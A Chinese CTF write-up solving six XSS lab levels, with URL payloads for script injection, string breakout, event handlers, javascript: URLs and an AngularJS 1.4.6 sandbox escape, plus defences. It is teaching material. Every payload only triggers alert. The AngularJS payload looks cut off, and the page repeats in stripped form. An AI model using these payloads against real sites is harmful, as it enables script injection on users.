CTFer成长之路之XSS的魔力
字数 1330 2025-08-24 10:10:13

XSS攻击实战教学文档

1. XSS基础概念

XSS (Cross-Site Scripting) 跨站脚本攻击是一种常见的Web安全漏洞,攻击者能够在受害者的浏览器中执行恶意JavaScript代码。

2. XSS挑战环境搭建

2.1 环境配置

# docker-compose.yml
version: "3.2"
services:
  xss:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-xss:latest
    ports:
      - 3000:3000

启动命令:

docker-compose up -d

停止环境:

docker-compose down -v

3. XSS挑战关卡解析

3.1 Level1 - 基础反射型XSS

目标:通过URL参数注入XSS代码

测试过程

  1. 访问URL:http://[domain]/level1?username=xss
  2. 发现username参数值直接显示在页面中
  3. 构造payload:<script>alert(/xss/)</script>

解决方案

http://[domain]/level1?username=<script>alert(/xss/)</script>

原理:未经过滤的用户输入直接插入到HTML中,导致脚本执行。

3.2 Level2 - 编码绕过

目标:绕过escape函数过滤

测试过程

  1. 发现<script>标签被转码
  2. 查看源码发现使用了escape函数
  3. 尝试闭合JavaScript变量赋值

解决方案

http://[domain]/level2?username=';alert(1);'

原理:通过闭合单引号和分号,构造有效的JavaScript语句:

var username = '';alert(1);'';

3.3 Level3 - 转义字符绕过

目标:绕过单引号转义

测试过程

  1. 发现单引号被\转义
  2. 尝试使用HTML事件属性

解决方案1

http://[domain]/level3?username='';alert(1);'

解决方案2(使用HTML事件):

http://[domain]/level3?username=<a onmouseover="alert(1)">
或
http://[domain]/level3?username=

原理:利用HTML标签的事件属性执行JavaScript。

3.4 Level4 - JavaScript伪协议

目标:利用重定向功能执行XSS

分析源码

var time = 10;
var jumpUrl;

if(getQueryVariable('jumpUrl') == false){
    jumpUrl = location.href;
}else{
    jumpUrl = getQueryVariable('jumpUrl');
}

setTimeout(jump,1000,time);

function jump(time){
    if(time == 0){
        location.href = jumpUrl;
    }
    // ...
}

解决方案

http://[domain]/level4?jumpUrl=javascript:alert(1)

原理:利用javascript:伪协议在重定向时执行代码。

3.5 Level5 - 表单action注入

目标:通过表单action属性执行XSS

分析源码

if(getQueryVariable('autosubmit') !== false){
    var autoForm = document.getElementById('autoForm');
    autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
    autoForm.submit();
}

解决方案

http://[domain]/level5?autosubmit=1&action=javascript:alert(1)

原理:通过控制表单的action属性,利用javascript伪协议执行代码。

3.6 Level6 - AngularJS模板注入

目标:绕过AngularJS沙箱

测试过程

  1. 发现常规XSS被过滤
  2. 测试模板注入:?username={{3*3}} → 输出9
  3. 确认使用AngularJS 1.4.6

解决方案

http://[domain]/level6?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)

原理:利用AngularJS沙箱逃逸技术:

  1. 修改charAt函数行为
  2. 通过$eval执行任意代码

4. XSS防御措施

  1. 输入过滤:对用户输入进行严格过滤
  2. 输出编码:根据输出上下文进行HTML/JS编码
  3. CSP:使用Content Security Policy限制脚本执行
  4. HttpOnly:为Cookie设置HttpOnly属性
  5. 框架安全:保持框架最新,避免已知漏洞

5. 高级XSS技术

  1. DOM型XSS:不依赖服务器响应的纯客户端XSS
  2. 存储型XSS:恶意脚本被存储在后端,影响所有访问者
  3. 基于SVG的XSS:利用SVG文件执行脚本
  4. 基于CSS的XSS:利用CSS表达式或@import执行脚本

6. 学习资源

  1. OWASP XSS防护手册
  2. AngularJS安全指南
  3. CSP规范文档
  4. XSS过滤绕过备忘录(Cheat Sheet)

通过这六个关卡的实战练习,可以全面了解XSS攻击的各种形式和防御方法。

XSS攻击实战教学文档 1. XSS基础概念 XSS (Cross-Site Scripting) 跨站脚本攻击是一种常见的Web安全漏洞,攻击者能够在受害者的浏览器中执行恶意JavaScript代码。 2. XSS挑战环境搭建 2.1 环境配置 启动命令: 停止环境: 3. XSS挑战关卡解析 3.1 Level1 - 基础反射型XSS 目标 :通过URL参数注入XSS代码 测试过程 : 访问URL: http://[domain]/level1?username=xss 发现username参数值直接显示在页面中 构造payload: <script>alert(/xss/)</script> 解决方案 : 原理 :未经过滤的用户输入直接插入到HTML中,导致脚本执行。 3.2 Level2 - 编码绕过 目标 :绕过escape函数过滤 测试过程 : 发现 <script> 标签被转码 查看源码发现使用了escape函数 尝试闭合JavaScript变量赋值 解决方案 : 原理 :通过闭合单引号和分号,构造有效的JavaScript语句: 3.3 Level3 - 转义字符绕过 目标 :绕过单引号转义 测试过程 : 发现单引号被 \ 转义 尝试使用HTML事件属性 解决方案1 : 解决方案2 (使用HTML事件): 原理 :利用HTML标签的事件属性执行JavaScript。 3.4 Level4 - JavaScript伪协议 目标 :利用重定向功能执行XSS 分析源码 : 解决方案 : 原理 :利用 javascript: 伪协议在重定向时执行代码。 3.5 Level5 - 表单action注入 目标 :通过表单action属性执行XSS 分析源码 : 解决方案 : 原理 :通过控制表单的action属性,利用javascript伪协议执行代码。 3.6 Level6 - AngularJS模板注入 目标 :绕过AngularJS沙箱 测试过程 : 发现常规XSS被过滤 测试模板注入: ?username={{3*3}} → 输出9 确认使用AngularJS 1.4.6 解决方案 : 原理 :利用AngularJS沙箱逃逸技术: 修改charAt函数行为 通过$eval执行任意代码 4. XSS防御措施 输入过滤 :对用户输入进行严格过滤 输出编码 :根据输出上下文进行HTML/JS编码 CSP :使用Content Security Policy限制脚本执行 HttpOnly :为Cookie设置HttpOnly属性 框架安全 :保持框架最新,避免已知漏洞 5. 高级XSS技术 DOM型XSS :不依赖服务器响应的纯客户端XSS 存储型XSS :恶意脚本被存储在后端,影响所有访问者 基于SVG的XSS :利用SVG文件执行脚本 基于CSS的XSS :利用CSS表达式或@import执行脚本 6. 学习资源 OWASP XSS防护手册 AngularJS安全指南 CSP规范文档 XSS过滤绕过备忘录(Cheat Sheet) 通过这六个关卡的实战练习,可以全面了解XSS攻击的各种形式和防御方法。